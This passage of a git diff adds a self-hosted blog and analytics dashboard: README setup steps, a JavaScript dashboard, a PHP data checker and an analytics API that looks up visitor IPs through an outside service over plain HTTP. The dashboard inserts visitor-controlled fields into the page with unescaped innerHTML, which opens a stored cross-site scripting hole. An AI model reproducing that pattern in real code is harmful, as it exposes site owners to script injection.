/etc/nginx/.htpasswd; +} +``` + +Create the password file: +```bash +sudo apt install apache2-utils +sudo htpasswd -c /etc/nginx/.htpasswd your-username +``` + +**Option 2: HTTP Basic Auth (Apache)** +Create `/var/www/html/blog/admin/.htaccess`: +```apache +AuthType Basic +AuthName "Admin Area" +AuthUserFile /var/www/html/blog/admin/.htpasswd +Require valid-user +``` + +Create the password file: +```bash +sudo htpasswd -c /var/www/html/blog/admin/.htpasswd your-username +``` + +## Adding Blog Posts + +You have three options for adding blog posts: + +### Option 1: Convert Markdown to JSON (Recommended) + +The template includes a PHP script to convert markdown files to the JSON format used by the blog. + +1. **Create a markdown file** following this format: + ```markdown + --- + title: Your Amazing Blog Post Title + excerpt: A brief excerpt that appears on the blog listing page + --- + + This is your blog post content. You can write as much as you want here. + + Use double newlines to separate paragraphs. The script will handle the rest. + ``` + +2. **Run the conversion script:** + ```bash + cd /var/www/html/blog/admin + php index.php /path/to/your-post.md + ``` + + Or if you're in the blog/admin directory: + ```bash + php index.php your-post.md + ``` + + The script will: + - Parse the frontmatter (title, excerpt) + - Extract the content + - Generate a unique ID + - Add today's date + - Append to `blog/data/posts.json` + +3. **Example:** + ```bash + # Create a post + nano my-new-post.md + + # Convert it + php index.php my-new-post.md + + # Done! Your post is now in the blog + ``` + +### Option 2: Edit JSON Directly + +Edit `blog/data/posts.json` directly. Each post needs: +- `id`: Unique number (increment from existing posts) +- `title`: Post title +- `date`: Date in `YYYY-MM-DD` format +- `excerpt`: Short description for listings +- `content`: Full post content (use `\n\n` for paragraph breaks) + +Example: +```json +{ + "id": 1, + "title": "My Second Post", + "date": "2025-01-15", + "excerpt": "This is what shows up on the blog listing", + "content": "This is the full content of my post.\n\nThis is a second paragraph." +} +``` + +### Option 3: Use the Admin Interface + +Visit `/blog/admin/` in your browser (after securing it) and use the web interface. + +## Security Checklist + +- [ ] Protect `/blog/admin/` with authentication (see Step 5 above) +- [ ] Set proper file permissions (755 for directories, 644 for files, 775 for data dirs) +- [ ] Use HTTPS (Let's Encrypt is free and easy) +- [ ] Analytics is already IP-restricted to local networks (check `api/analytics.php`) +- [ ] Review and customize CSP headers in HTML files if needed +- [ ] Don't expose `/data/` directory in web server config +- [ ] Keep PHP updated + +## Customization + +### Change Colors + +Edit `assets/css/style.css` and modify the CSS variables: +```css +:root { + --bg-primary: #your-color; + --text-primary: #your-color; + /* ... etc */ +} +``` + +### Update Site Information + +- **RSS Feed:** Edit `blog/api/feed.php` - change domain and title +- **Homepage Links:** Edit `index.html` - customize the link sections +- **ASCII Art Logo:** Replace the logo in all HTML files (search for the ASCII art) + +### Timezone + +The site uses the user's local timezone for display. Server-side PHP uses UTC by default - adjust in: +- `api/analytics.php` +- `api/track.php` +- `blog/api/feed.php` + +Set your server's timezone in `php.ini` (see Step 3). + +## Requirements + +- **Web Server:** Nginx (recommended) or Apache +- **PHP:** 7.4+ with `php-json` and `php-mbstring` extensions +- **Browser:** Modern browser +- **Permissions:** Write access to `data/` and `blog/data/` directories + +## Troubleshooting + +**Blog posts not loading?** +- Make sure PHP is running: `sudo systemctl status php-fpm` +- Check file permissions: `ls -la blog/data/posts.json` +- Verify PHP can read the file: `php -r "echo file_exists('blog/data/posts.json') ? 'OK' : 'NOT FOUND';"` +- Check browser console for JavaScript errors + +**Analytics not working?** +- Analytics is IP-restricted by default (local networks only) +- Check `api/analytics.php` for IP filtering rules +- Verify `data/analytics/` directory is writable + +**404 errors?** +- Check web server configuration +- Verify file paths are correct +- Make sure mod_rewrite is enabled (Apache) or try_files is configured (Nginx) + +**PHP errors?** +- Check PHP error logs: `/var/log/php-fpm/error.log` or Apache error log +- Verify PHP extensions are installed: `php -m | grep json` +- Check file permissions + +## What Makes This Special + +- **No frameworks** - Pure, readable code +- **No build process** - Edit files, refresh browser, done +- **Privacy-first** - Self-hosted analytics, no third-party tracking +- **Actually organized** - Clean structure that makes sense, I don't want to talk about how we got there. +- **JSON-based storage** - Blog posts and data stored in JSON files + +## License + +This project is licensed under the GNU General Public License v3.0. See [LICENSE.md](LICENSE.md) for details. + +--- + +**Built with a healthy dose of cynicism.** + +Extract it. Deploy it. Make it yours. diff --git a/analytics/analytics.js b/analytics/analytics.js new file mode 100644 index 0000000..ca2193d --- /dev/null +++ b/analytics/analytics.js @@ -0,0 +1,469 @@ +// Analytics dashboard script +(function() { + // Helper function to format date as YYYY-MM-DD in local timezone + function formatLocalDate(date) { + const year = date.getFullYear(); + const month = String(date.getMonth() + 1).padStart(2, '0'); + const day = String(date.getDate()).padStart(2, '0'); + return `${year}-${month}-${day}`; + } + + // Set today's date as default (using local timezone, not UTC) + const dateSelect = document.getElementById('dateSelect'); + const endDateSelect = document.getElementById('endDateSelect'); + const goButton = document.getElementById('goButton'); + const customCalendar = document.getElementById('customCalendar'); + const customCalendarEnd = document.getElementById('customCalendarEnd'); + const today = new Date(); + const todayStr = formatLocalDate(today); // Format: YYYY-MM-DD in local timezone + let currentDate = new Date(today); + let selectedDate = new Date(today); + let selectedEndDate = new Date(today); + + if (dateSelect) { + // Set the value directly as a string to avoid timezone conversion issues + dateSelect.value = todayStr; + // Also set valueAsDate to ensure the input displays correctly + const localDate = new Date(today.getFullYear(), today.getMonth(), today.getDate()); + dateSelect.valueAsDate = localDate; + selectedDate = new Date(localDate); + } + + if (endDateSelect) { + endDateSelect.value = todayStr; + const localDate = new Date(today.getFullYear(), today.getMonth(), today.getDate()); + endDateSelect.valueAsDate = localDate; + selectedEndDate = new Date(localDate); + } + + // Handle Go button click + if (goButton) { + goButton.addEventListener('click', function() { + const startDate = dateSelect.value; + const endDate = endDateSelect.value; + + // Validate dates + if (!startDate || !endDate) { + return; + } + + // Ensure end date is not before start date + if (new Date(endDate) < new Date(startDate)) { + endDateSelect.value = startDate; + selectedEndDate = new Date(startDate); + } + + // Load analytics with date range + loadAnalytics(startDate, endDate); + }); + } + + // Handle end date changes - validate but don't auto-refresh + if (endDateSelect) { + endDateSelect.addEventListener('change', function(e) { + const newDate = e.target.value; + if (newDate) { + selectedEndDate = new Date(newDate); + // Ensure end date is not before start date + if (selectedEndDate < selectedDate) { + endDateSelect.value = dateSelect.value; + selectedEndDate = new Date(selectedDate); + } + } + }); + } + + // Custom calendar implementation + function renderCalendar(date, preserveShowState = false, isEndDate = false) { + const targetCalendar = isEndDate ? customCalendarEnd : customCalendar; + const targetDateSelect = isEndDate ? endDateSelect : dateSelect; + const targetSelectedDate = isEndDate ? selectedEndDate : selectedDate; + const year = date.getFullYear(); + const month = date.getMonth(); + const firstDay = new Date(year, month, 1); + const lastDay = new Date(year, month + 1, 0); + const startDate = new Date(firstDay); + startDate.setDate(startDate.getDate() - startDate.getDay()); + + const monthNames = ['January', 'February', 'March', 'April', 'May', 'June', + 'July', 'August', 'September', 'October', 'November', 'December']; + const weekdays = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']; + + // Preserve show state if calendar was visible + const wasVisible = preserveShowState && targetCalendar.classList.contains('show'); + + let html = ` +
+ +
${monthNames[month]} ${year}
+ +
+
+ ${weekdays.map(day => `
${day}
`).join('')} +
+
+ `; + + const today = new Date(); + today.setHours(0, 0, 0, 0); + const selected = new Date(targetSelectedDate); + selected.setHours(0, 0, 0, 0); + + for (let i = 0; i < 42; i++) { + const cellDate = new Date(startDate); + cellDate.setDate(startDate.getDate() + i); + const cellDateOnly = new Date(cellDate); + cellDateOnly.setHours(0, 0, 0, 0); + + const isOtherMonth = cellDate.getMonth() !== month; + const isToday = cellDateOnly.getTime() === today.getTime(); + const isSelected = cellDateOnly.getTime() === selected.getTime(); + + let classes = 'calendar-day'; + if (isOtherMonth) classes += ' other-month'; + if (isToday) classes += ' today'; + if (isSelected) classes += ' selected'; + + html += `
${cellDate.getDate()}
`; + } + + html += '
'; + targetCalendar.innerHTML = html; + + // Restore show state if it was visible + if (wasVisible) { + targetCalendar.classList.add('show'); + } + + // Prevent calendar header clicks from closing the calendar + targetCalendar.querySelectorAll('.calendar-header, .calendar-month-year').forEach(el => { + el.addEventListener('click', function(e) { + e.stopPropagation(); + }); + }); + + // Add click handlers for navigation buttons + targetCalendar.querySelectorAll('.calendar-nav-btn[data-action="prev"]').forEach(btn => { + btn.addEventListener('click', function(e) { + e.stopPropagation(); // Prevent click from bubbling up + currentDate.setMonth(currentDate.getMonth() - 1); + renderCalendar(currentDate, true, isEndDate); // Preserve show state + }); + }); + + targetCalendar.querySelectorAll('.calendar-nav-btn[data-action="next"]').forEach(btn => { + btn.addEventListener('click', function(e) { + e.stopPropagation(); // Prevent click from bubbling up + currentDate.setMonth(currentDate.getMonth() + 1); + renderCalendar(currentDate, true, isEndDate); // Preserve show state + }); + }); + + // Add click handlers for calendar days + targetCalendar.querySelectorAll('.calendar-day').forEach(day => { + day.addEventListener('click', function(e) { + e.stopPropagation(); // Prevent document click handler from firing + const dateStr = this.getAttribute('data-date'); + if (dateStr) { + if (isEndDate) { + selectedEndDate = new Date(dateStr); + endDateSelect.value = dateStr; + endDateSelect.valueAsDate = selectedEndDate; + targetCalendar.classList.remove('show'); + // Ensure end date is not before start date + if (selectedEndDate < selectedDate) { + endDateSelect.value = dateSelect.value; + selectedEndDate = new Date(selectedDate); + } + } else { + selectedDate = new Date(dateStr); + dateSelect.value = dateStr; + dateSelect.valueAsDate = selectedDate; + targetCalendar.classList.remove('show'); + // Ensure start date is not after end date + if (selectedDate > selectedEndDate) { + endDateSelect.value = dateStr; + selectedEndDate = new Date(selectedDate); + } + } + // Don't auto-refresh - user must click Go button + } + }); + }); + } + + // Toggle calendar on input click - Start Date + if (dateSelect && customCalendar) { + dateSelect.addEventListener('click', function(e) { + e.preventDefault(); + e.stopPropagation(); + currentDate = selectedDate; + renderCalendar(currentDate, false, false); + customCalendar.classList.toggle('show'); + }); + + // Prevent focus from causing layout shifts + dateSelect.addEventListener('focus', function(e) { + e.preventDefault(); + this.blur(); + }); + + // Initialize calendar + renderCalendar(currentDate, false, false); + } + + // Toggle calendar on input click - End Date + if (endDateSelect && customCalendarEnd) { + endDateSelect.addEventListener('click', function(e) { + e.preventDefault(); + e.stopPropagation(); + currentDate = selectedEndDate; + renderCalendar(currentDate, false, true); + customCalendarEnd.classList.toggle('show'); + }); + + // Prevent focus from causing layout shifts + endDateSelect.addEventListener('focus', function(e) { + e.preventDefault(); + this.blur(); + }); + } + + // Close calendars when clicking outside + document.addEventListener('click', function(e) { + if (dateSelect && !dateSelect.contains(e.target) && customCalendar && !customCalendar.contains(e.target)) { + customCalendar.classList.remove('show'); + } + if (endDateSelect && !endDateSelect.contains(e.target) && customCalendarEnd && !customCalendarEnd.contains(e.target)) { + customCalendarEnd.classList.remove('show'); + } + }); + + async function loadAnalytics(date, endDate = null) { + const dateStr = date || formatLocalDate(new Date()); + // Use API endpoint to fetch data securely + let filename = `/api/analytics.php?date=${dateStr}`; + if (endDate) { + filename += `&endDate=${endDate}`; + } + + try { + const response = await fetch(filename); + if (!response.ok) { + document.getElementById('statsGrid').innerHTML = '

Access denied or no data available.

'; + document.getElementById('hourChart').innerHTML = ''; + document.getElementById('blogPostsStats').innerHTML = ''; + return; + } + + const result = await response.json(); + if (!result.success) { + document.getElementById('statsGrid').innerHTML = '

Error loading data.

'; + document.getElementById('hourChart').innerHTML = ''; + document.getElementById('blogPostsStats').innerHTML = ''; + return; + } + + const data = result.data; + + // Update stats + const shares = data.shares || {mastodon: 0, bluesky: 0, copy: 0}; + const totalShares = shares.mastodon + shares.bluesky + shares.copy; + const rssSubscriptions = data.activeRssSubscribers || 0; + + document.getElementById('statsGrid').innerHTML = ` +
+
${data.total || 0}
+
Total Visits
+
+
+
${data.new || 0}
+
New Visitors
+
+
+
${data.returning || 0}
+
Returning Visitors
+
+
+
${totalShares}
+
Total Shares
+
+
+
${shares.mastodon || 0}
+
Mastodon Shares
+
+
+
${shares.bluesky || 0}
+
Bluesky Shares
+
+
+
${shares.copy || 0}
+
Link Copies
+
+
+
${rssSubscriptions}
+
RSS Subscribers
+
+ `; + + // Update hour chart - vertical histogram + const byHour = data.byHour || Array(24).fill(0); + const maxVisits = Math.max(...byHour, 1); + const hourChart = document.getElementById('hourChart'); + + // Use fixed height for consistent scaling (300px container - 40px for labels/padding = 260px) + const chartHeight = 260; + + hourChart.innerHTML = byHour.map((visits, hour) => { + const percentage = maxVisits > 0 ? (visits / maxVisits) * 100 : 0; + const hourLabel = hour.toString().padStart(2, '0'); + // Calculate actual pixel height based on percentage of available height + const barHeightPx = visits > 0 ? Math.max((percentage / 100) * chartHeight, 8) : 0; + return ` +
+
+ ${visits > 0 ? visits : ''} +
+
${hourLabel}
+
+ `; + }).join(''); + + // Set heights using CSS custom properties (to avoid CSP blocking inline styles) + hourChart.querySelectorAll('.hour-visual').forEach(bar => { + const height = bar.getAttribute('data-height'); + if (height) { + bar.style.setProperty('--bar-height', height + 'px'); + } + }); + + // Update recent visitors panel + const recentVisitors = data.recentVisitors || []; + const recentVisitorsContainer = document.getElementById('recentVisitors'); + + // Helper function to format UTC time to visitor's local time + function formatVisitorTime(timeStr) { + if (!timeStr) return 'N/A'; + try { + const date = new Date(timeStr); + return date.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: false }); + } catch (e) { + return timeStr; + } + } + + if (recentVisitors.length > 0) { + recentVisitorsContainer.innerHTML = ` + + + + + + + + + + + + ${recentVisitors.map(visitor => ` + + + + + + + + `).join('')} + +
TimeIP AddressLocationISPPage
${formatVisitorTime(visitor.time)}${visitor.ip || 'N/A'} + ${visitor.city || 'Unknown'}, ${visitor.country || 'Unknown'} + ${visitor.countryCode ? `${visitor.countryCode}` : ''} + ${visitor.isp || 'Unknown'}${visitor.page || '/'}
+ `; + } else { + recentVisitorsContainer.innerHTML = '

No recent visitors found.

'; + } + + // Update blog post stats (reactions are cumulative, not date-specific) + const blogPosts = data.blogPosts || []; + const blogPostsStats = document.getElementById('blogPostsStats'); + if (blogPosts.length > 0) { + blogPostsStats.innerHTML = blogPosts.map(post => { + const reactions = post.reactions || {like: 0, love: 0, helpful: 0}; + const shares = post.shares || {mastodon: 0, bluesky: 0, copy: 0}; + return ` +
+

${post.title}

+
+
+
Likes
+
${reactions.like || 0}
+
+
+
Loves
+
${reactions.love || 0}
+
+
+
Helpful
+
${reactions.helpful || 0}
+
+
+
Total Reactions
+
${post.totalReactions || 0}
+
+
+
Mastodon Shares
+
${shares.mastodon || 0}
+
+
+
Bluesky Shares
+
${shares.bluesky || 0}
+
+
+
Link Copies
+
${shares.copy || 0}
+
+
+
Total Shares
+
${post.totalShares || 0}
+
+
+
+ `; + }).join(''); + } else { + blogPostsStats.innerHTML = '

No blog posts found.

'; + } + + } catch (error) { + console.error('Error loading analytics:', error); + document.getElementById('statsGrid').innerHTML = '

Error loading analytics data.

'; + } + } + + // Load analytics on page load with today's date range + function initializeAnalytics() { + loadAnalytics(todayStr, todayStr); + } + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', initializeAnalytics); + } else { + initializeAnalytics(); + } + + // Handle start date changes - validate but don't auto-refresh + if (dateSelect) { + dateSelect.addEventListener('change', function(e) { + const newDate = e.target.value; + if (newDate) { + selectedDate = new Date(newDate); + // Ensure start date is not after end date + if (endDateSelect && selectedDate > selectedEndDate) { + endDateSelect.value = newDate; + selectedEndDate = new Date(selectedDate); + } + } + }); + } +})(); diff --git a/analytics/index.html b/analytics/index.html new file mode 100644 index 0000000..4c6d990 --- /dev/null +++ b/analytics/index.html @@ -0,0 +1,75 @@ + + + + + + + + + Analytics - Launch Pad + + + +
+

Analytics Dashboard

+ +
+
+
+ + +
+
+
+ + +
+
+
+ +
+
+
+ +

Traffic Statistics

+ +
+ +
+ +

Traffic by Hour (Server Time: AST/ADT)

+
+
+ +
+
+ +

Recent Visitors (Your Local Time)

+
+
+ +
+
+ +

Blog Post Statistics

+
+
+ +
+
+
+ + + + + diff --git a/analytics/verify.php b/analytics/verify.php new file mode 100644 index 0000000..0021839 --- /dev/null +++ b/analytics/verify.php @@ -0,0 +1,301 @@ +#!/usr/bin/env php += 0 && $hour < 24) { + $byHour[$hour]++; + } + } +} + +// 4. Count shares +$shares = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; +foreach ($visits as $visit) { + if ($visit['type'] === 'share' && isset($visit['platform'])) { + $platform = $visit['platform']; + if (isset($shares[$platform])) { + $shares[$platform]++; + } + } +} + +// 5. Count RSS clicks +$rssClicks = 0; +foreach ($visits as $visit) { + if ($visit['type'] === 'rss_click') { + $rssClicks++; + } +} + +// 6. Identify potential issues +$issues = []; + +// Check for duplicate pageviews (same visitor, same page, within 5 seconds) +$duplicates = []; +foreach ($pageviews as $i => $visit1) { + foreach ($pageviews as $j => $visit2) { + if ($i < $j && + $visit1['visitorId'] === $visit2['visitorId'] && + $visit1['page'] === $visit2['page'] && + abs($visit1['timestamp'] - $visit2['timestamp']) < 5) { + $duplicates[] = [ + 'visitor' => $visit1['visitorId'], + 'page' => $visit1['page'], + 'time1' => date('H:i:s', $visit1['timestamp']), + 'time2' => date('H:i:s', $visit2['timestamp']) + ]; + } + } +} + +if (count($duplicates) > 0) { + $issues[] = "Found " . count($duplicates) . " potential duplicate pageviews (same visitor, same page, <5s apart)"; +} + +// Check for suspicious user agents (common bots) +$botPatterns = [ + '/bot/i', '/crawler/i', '/spider/i', '/scraper/i', + '/google/i', '/bing/i', '/yahoo/i', '/duckduckbot/i', + '/facebookexternalhit/i', '/twitterbot/i', '/linkedinbot/i' +]; +$botCount = 0; +$botVisitors = []; +foreach ($visits as $visit) { + $ua = $visit['userAgent'] ?? ''; + foreach ($botPatterns as $pattern) { + if (preg_match($pattern, $ua)) { + $botCount++; + $botVisitors[$visit['visitorId']] = true; + break; + } + } +} + +if ($botCount > 0) { + $issues[] = "Found {$botCount} visits from potential bots/crawlers (" . count($botVisitors) . " unique visitors)"; +} + +// Check for rapid-fire visits (potential scripted access) +$rapidVisits = []; +$visitorTimestamps = []; +foreach ($pageviews as $visit) { + $vid = $visit['visitorId']; + if (!isset($visitorTimestamps[$vid])) { + $visitorTimestamps[$vid] = []; + } + $visitorTimestamps[$vid][] = $visit['timestamp']; +} + +foreach ($visitorTimestamps as $vid => $timestamps) { + sort($timestamps); + for ($i = 1; $i < count($timestamps); $i++) { + $diff = $timestamps[$i] - $timestamps[$i-1]; + if ($diff < 2) { // Less than 2 seconds between pageviews + $rapidVisits[$vid] = ($rapidVisits[$vid] ?? 0) + 1; + } + } +} + +if (count($rapidVisits) > 0) { + $issues[] = "Found " . count($rapidVisits) . " visitors with rapid-fire pageviews (<2s apart)"; +} + +// Check summary vs raw data discrepancies +$discrepancies = []; + +if ($summary['total'] != $pageviewCount) { + $discrepancies[] = sprintf( + "Total visits mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summary['total'], $pageviewCount, $summary['total'] - $pageviewCount + ); +} + +if ($summary['new'] != $newCount) { + $discrepancies[] = sprintf( + "New visitors mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summary['new'], $newCount, $summary['new'] - $newCount + ); +} + +if ($summary['returning'] != $returningCount) { + $discrepancies[] = sprintf( + "Returning visitors mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summary['returning'], $returningCount, $summary['returning'] - $returningCount + ); +} + +// Compare hourly data +$hourlyDiff = false; +for ($h = 0; $h < 24; $h++) { + if ($summary['byHour'][$h] != $byHour[$h]) { + $hourlyDiff = true; + break; + } +} +if ($hourlyDiff) { + $discrepancies[] = "Hourly distribution differs between summary and raw data"; +} + +// Compare shares +foreach (['mastodon', 'bluesky', 'copy'] as $platform) { + $summaryShares = $summary['shares'][$platform] ?? 0; + $rawShares = $shares[$platform] ?? 0; + if ($summaryShares != $rawShares) { + $discrepancies[] = sprintf( + "Shares ({$platform}) mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summaryShares, $rawShares, $summaryShares - $rawShares + ); + } +} + +// Compare RSS +$summaryRss = $summary['rss'] ?? 0; +if ($summaryRss != $rssClicks) { + $discrepancies[] = sprintf( + "RSS clicks mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summaryRss, $rssClicks, $summaryRss - $rssClicks + ); +} + +// Display results +echo "SUMMARY DATA:\n"; +echo " Total visits: " . ($summary['total'] ?? 0) . "\n"; +echo " New visitors: " . ($summary['new'] ?? 0) . "\n"; +echo " Returning visitors: " . ($summary['returning'] ?? 0) . "\n"; +echo " RSS clicks: " . ($summary['rss'] ?? 0) . "\n"; +echo " Shares: Mastodon=" . ($summary['shares']['mastodon'] ?? 0) . + ", Bluesky=" . ($summary['shares']['bluesky'] ?? 0) . + ", Copy=" . ($summary['shares']['copy'] ?? 0) . "\n\n"; + +echo "RAW DATA COUNT:\n"; +echo " Total pageviews: {$pageviewCount}\n"; +echo " Unique new visitors: {$newCount}\n"; +echo " Unique returning visitors: {$returningCount}\n"; +echo " RSS clicks: {$rssClicks}\n"; +echo " Shares: Mastodon={$shares['mastodon']}, Bluesky={$shares['bluesky']}, Copy={$shares['copy']}\n"; +echo " Total visits (all types): " . count($visits) . "\n\n"; + +if (count($discrepancies) > 0) { + echo "⚠️ DISCREPANCIES FOUND:\n"; + foreach ($discrepancies as $disc) { + echo " - {$disc}\n"; + } + echo "\n"; +} else { + echo "✓ Summary and raw data match!\n\n"; +} + +if (count($issues) > 0) { + echo "⚠️ POTENTIAL ISSUES:\n"; + foreach ($issues as $issue) { + echo " - {$issue}\n"; + } + echo "\n"; +} else { + echo "✓ No obvious issues detected.\n\n"; +} + +// Show top visitors +echo "TOP VISITORS (by pageview count):\n"; +$visitorCounts = []; +foreach ($pageviews as $visit) { + $vid = $visit['visitorId']; + $visitorCounts[$vid] = ($visitorCounts[$vid] ?? 0) + 1; +} +arsort($visitorCounts); +$topVisitors = array_slice($visitorCounts, 0, 10, true); +foreach ($topVisitors as $vid => $count) { + $firstVisit = null; + foreach ($pageviews as $v) { + if ($v['visitorId'] === $vid) { + $firstVisit = $v; + break; + } + } + $ua = substr($firstVisit['userAgent'] ?? 'Unknown', 0, 50); + echo sprintf(" %s: %d pageviews (UA: %s...)\n", substr($vid, 0, 30), $count, $ua); +} + +echo "\n"; + +// Show hourly breakdown +echo "HOURLY BREAKDOWN (from raw data):\n"; +for ($h = 0; $h < 24; $h++) { + $count = $byHour[$h]; + $bar = str_repeat('█', min(50, (int)($count / max(1, max($byHour)) * 50))); + echo sprintf(" %02d:00 %5d %s\n", $h, $count, $bar); +} + +echo "\n"; + +// Accuracy notes +echo "ACCURACY CONSIDERATIONS:\n"; +echo " ✓ Data is recalculated from raw timestamps (hourly stats are accurate)\n"; +echo " ⚠ Bot traffic is NOT filtered (may inflate numbers)\n"; +echo " ⚠ Ad blockers may prevent tracking (may deflate numbers)\n"; +echo " ⚠ Self-visits are NOT filtered\n"; +echo " ⚠ JavaScript-disabled browsers won't be tracked\n"; +echo " ⚠ Privacy tools may block localStorage (affects visitor ID)\n"; +echo " ⚠ New/Returning is calculated per-day, not across days\n"; +echo " ⚠ Multiple tabs/devices = multiple visitors\n"; +echo "\n"; + +?> diff --git a/api/analytics.php b/api/analytics.php new file mode 100755 index 0000000..21e9438 --- /dev/null +++ b/api/analytics.php @@ -0,0 +1,336 @@ + 'Access denied']); // No peeking, strangers + exit; +} + +$date = isset($_GET['date']) ? $_GET['date'] : date('Y-m-d'); +$endDate = isset($_GET['endDate']) ? $_GET['endDate'] : null; +$dataDir = __DIR__ . '/../data/analytics'; +$reactionsDir = __DIR__ . '/../data/reactions'; + +// Date range wizard - conjures dates out of thin air +function getDatesInRange($startDate, $endDate) { + $dates = []; + $current = strtotime($startDate); + $end = strtotime($endDate); + while ($current <= $end) { + $dates[] = date('Y-m-d', $current); + $current = strtotime('+1 day', $current); + } + return $dates; +} + +// Load summary data - aggregate if date range is provided +$data = [ + 'total' => 0, + 'new' => 0, + 'returning' => 0, + 'byHour' => array_fill(0, 24, 0), + 'shares' => ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0], + 'rss' => 0 +]; + +if ($endDate && $endDate >= $date) { + // Date range mode - aggregate data from multiple days + $dates = getDatesInRange($date, $endDate); + $allVisits = []; + + foreach ($dates as $dayDate) { + $filename = $dataDir . '/summary_' . $dayDate . '.json'; + if (file_exists($filename)) { + $dayData = json_decode(file_get_contents($filename), true); + if ($dayData) { + // Aggregate totals + $data['total'] += $dayData['total'] ?? 0; + $data['new'] += $dayData['new'] ?? 0; + $data['returning'] += $dayData['returning'] ?? 0; + + // Aggregate shares + if (isset($dayData['shares'])) { + $data['shares']['mastodon'] += $dayData['shares']['mastodon'] ?? 0; + $data['shares']['bluesky'] += $dayData['shares']['bluesky'] ?? 0; + $data['shares']['copy'] += $dayData['shares']['copy'] ?? 0; + } + + // Aggregate hourly data + if (isset($dayData['byHour']) && is_array($dayData['byHour'])) { + for ($i = 0; $i < 24; $i++) { + $data['byHour'][$i] += $dayData['byHour'][$i] ?? 0; + } + } + + // Collect visits for recent visitors + $visitsFile = $dataDir . '/visits_' . $dayDate . '.json'; + if (file_exists($visitsFile)) { + $dayVisits = json_decode(file_get_contents($visitsFile), true) ?: []; + $allVisits = array_merge($allVisits, $dayVisits); + } + } + } else { + // Load visits even if summary doesn't exist + $visitsFile = $dataDir . '/visits_' . $dayDate . '.json'; + if (file_exists($visitsFile)) { + $dayVisits = json_decode(file_get_contents($visitsFile), true) ?: []; + $allVisits = array_merge($allVisits, $dayVisits); + } + } + } + + // Recalculate byHour from actual timestamps for the range + $recalculatedByHour = array_fill(0, 24, 0); + foreach ($allVisits as $visit) { + if (isset($visit['type']) && $visit['type'] === 'pageview' && isset($visit['timestamp'])) { + $hour = (int)date('H', $visit['timestamp']); + if ($hour >= 0 && $hour < 24) { + $recalculatedByHour[$hour]++; + } + } + } + $data['byHour'] = $recalculatedByHour; + + // Use all visits for recent visitors + $visits = $allVisits; +} else { + // Single date mode + $filename = $dataDir . '/summary_' . $date . '.json'; + if (file_exists($filename)) { + $data = json_decode(file_get_contents($filename), true); + } + + // Load visits file for this date + $visitsFile = $dataDir . '/visits_' . $date . '.json'; + $visits = []; + if (file_exists($visitsFile)) { + $visits = json_decode(file_get_contents($visitsFile), true) ?: []; + } + + // Recalculate byHour from actual timestamps + $recalculatedByHour = array_fill(0, 24, 0); + foreach ($visits as $visit) { + if (isset($visit['type']) && $visit['type'] === 'pageview' && isset($visit['timestamp'])) { + $hour = (int)date('H', $visit['timestamp']); + if ($hour >= 0 && $hour < 24) { + $recalculatedByHour[$hour]++; + } + } + } + $data['byHour'] = $recalculatedByHour; +} + +// Ensure RSS tracking exists +if (!isset($data['rss'])) { + $data['rss'] = 0; +} + +// Calculate active RSS subscribers (readers who fetched in last 7 days) +$readersFile = $dataDir . '/rss_readers.json'; +$activeRssSubscribers = 0; +if (file_exists($readersFile)) { + $readers = json_decode(file_get_contents($readersFile), true) ?: []; + $sevenDaysAgo = time() - (7 * 24 * 60 * 60); + foreach ($readers as $reader) { + if (isset($reader['lastFetch']) && $reader['lastFetch'] >= $sevenDaysAgo) { + $activeRssSubscribers++; + } + } +} +$data['activeRssSubscribers'] = $activeRssSubscribers; + +// Get 10 most recent unique IP addresses with geolocation +function getGeolocation($ip) { + // Skip private/local IPs + if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { + return ['country' => 'Local', 'city' => 'Private Network', 'isp' => '']; + } + + // Use ip-api.com (free, no API key needed, 45 requests/minute limit) + $url = "http://ip-api.com/json/{$ip}?fields=status,country,countryCode,city,region,isp,query"; + + // Use file_get_contents with stream context + $context = stream_context_create([ + 'http' => [ + 'timeout' => 2, + 'method' => 'GET', + 'header' => 'User-Agent: Analytics/1.0' + ] + ]); + + $response = @file_get_contents($url, false, $context); + + if ($response) { + $geo = json_decode($response, true); + if ($geo && isset($geo['status']) && $geo['status'] === 'success') { + return [ + 'country' => $geo['country'] ?? 'Unknown', + 'countryCode' => $geo['countryCode'] ?? '', + 'city' => $geo['city'] ?? 'Unknown', + 'region' => $geo['region'] ?? '', + 'isp' => $geo['isp'] ?? 'Unknown', + 'ip' => $geo['query'] ?? $ip + ]; + } + } + + return ['country' => 'Unknown', 'city' => 'Unknown', 'isp' => 'Unknown', 'ip' => $ip]; +} + +// Get unique IPs with their most recent visit timestamp +$ipVisits = []; +foreach ($visits as $visit) { + $ip = $visit['ip'] ?? ''; + if ($ip && !isset($ipVisits[$ip])) { + $ipVisits[$ip] = [ + 'ip' => $ip, + 'timestamp' => $visit['timestamp'] ?? 0, + 'page' => $visit['page'] ?? '', + 'userAgent' => $visit['userAgent'] ?? '' + ]; + } elseif ($ip && isset($ipVisits[$ip])) { + // Keep the most recent timestamp + if (($visit['timestamp'] ?? 0) > $ipVisits[$ip]['timestamp']) { + $ipVisits[$ip]['timestamp'] = $visit['timestamp'] ?? 0; + $ipVisits[$ip]['page'] = $visit['page'] ?? ''; + } + } +} + +// Sort by timestamp (most recent first) and get top 10 +usort($ipVisits, function($a, $b) { + return $b['timestamp'] - $a['timestamp']; +}); +$recentIPs = array_slice($ipVisits, 0, 10); + +// Get geolocation for each IP (with caching to avoid rate limits) +$geoCacheFile = $dataDir . '/geo_cache.json'; +$geoCache = []; +if (file_exists($geoCacheFile)) { + $geoCache = json_decode(file_get_contents($geoCacheFile), true) ?: []; +} + +$recentVisitors = []; +foreach ($recentIPs as $ipVisit) { + $ip = $ipVisit['ip']; + + // Check cache first (cache expires after 24 hours) + $geo = null; + if (isset($geoCache[$ip]) && (time() - $geoCache[$ip]['cached_at']) < 86400) { + $geo = $geoCache[$ip]['data']; + } else { + $geo = getGeolocation($ip); + $geoCache[$ip] = 